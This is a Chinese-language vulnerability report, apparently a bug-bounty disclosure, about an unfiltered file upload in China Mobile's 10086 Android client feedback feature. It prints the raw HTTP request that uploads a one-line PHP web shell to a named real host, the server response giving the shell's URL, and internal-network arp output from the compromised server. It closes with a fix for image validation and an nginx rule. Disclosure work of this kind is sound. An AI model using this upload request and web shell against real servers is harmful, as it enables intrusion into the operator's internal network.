1.在10086官网上下载了个手机营业厅的Android客户端
http://www.10086.cn/cmccclient/andriod.html2.客户端意见反馈处可上传图片，通过抓包进行提交发现可直接上传php脚本，服务端未进
行任何过滤。
POST请求：
POST /file.php HTTP/1.1
Content-Length: 244
Content-Type: multipart/form-data;
Host: clientdispatch.10086.cn:8080
Connection: closed
Accept-Encoding: gzip
--gHEBq3WtzAIOKRkmR5dzbKl7y-QvYj
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
<?php @eval($_POST['xxxx']);?>
--gHEBq3WtzAIOKRkmR5dzbKl7y-QvYj--
返回响应包：
HTTP/1.1 200 OK
Server: nginx/1.4.4
Content-Type: text/html
Content-Length: 84
X-Powered-By: PHP/5.5.4
Connection: Keep-alive
Keep-Alive: timeout=15, max=100
Via: 1.1 ID-0001242737364450 uproxy-3
200|http://clientdispatch.10086.cn:8080/upload/bc10ba96f9cxxxxxxxx951.php
3.获取到webshell，并且是内网.
[/]$ arp
Address HWtype HWaddress Flags Mask Iface
10.248.13.54 ether 00:15:17:4e:25:da C bond0
10.248.13.35 ether 00:00:0c:07:ac:01 C bond0
10.248.13.50 ether e4:1f:13:80:a2:37 C bond0
10.248.13.48 ether e4:1f:13:80:a5:c7 C bond0
10.248.13.43 ether e4:1f:13:80:a9:d5 C bond0
10.248.13.45 ether e4:1f:13:80:a9:2d C bond0
10.248.13.55 ether 00:15:17:4e:24:7e C bond0
10.248.13.49 ether e4:1f:13:80:a7:35 C bond0
10.248.13.47 ether e4:1f:13:80:a2:c7 C bond0
修复方案：
1.判断图片格式及完整性
2.限制upload目录执行php脚本程序
nginx.conf server处添加：
location ~ /upload/.*.(php|php5)?$ {
deny all;
}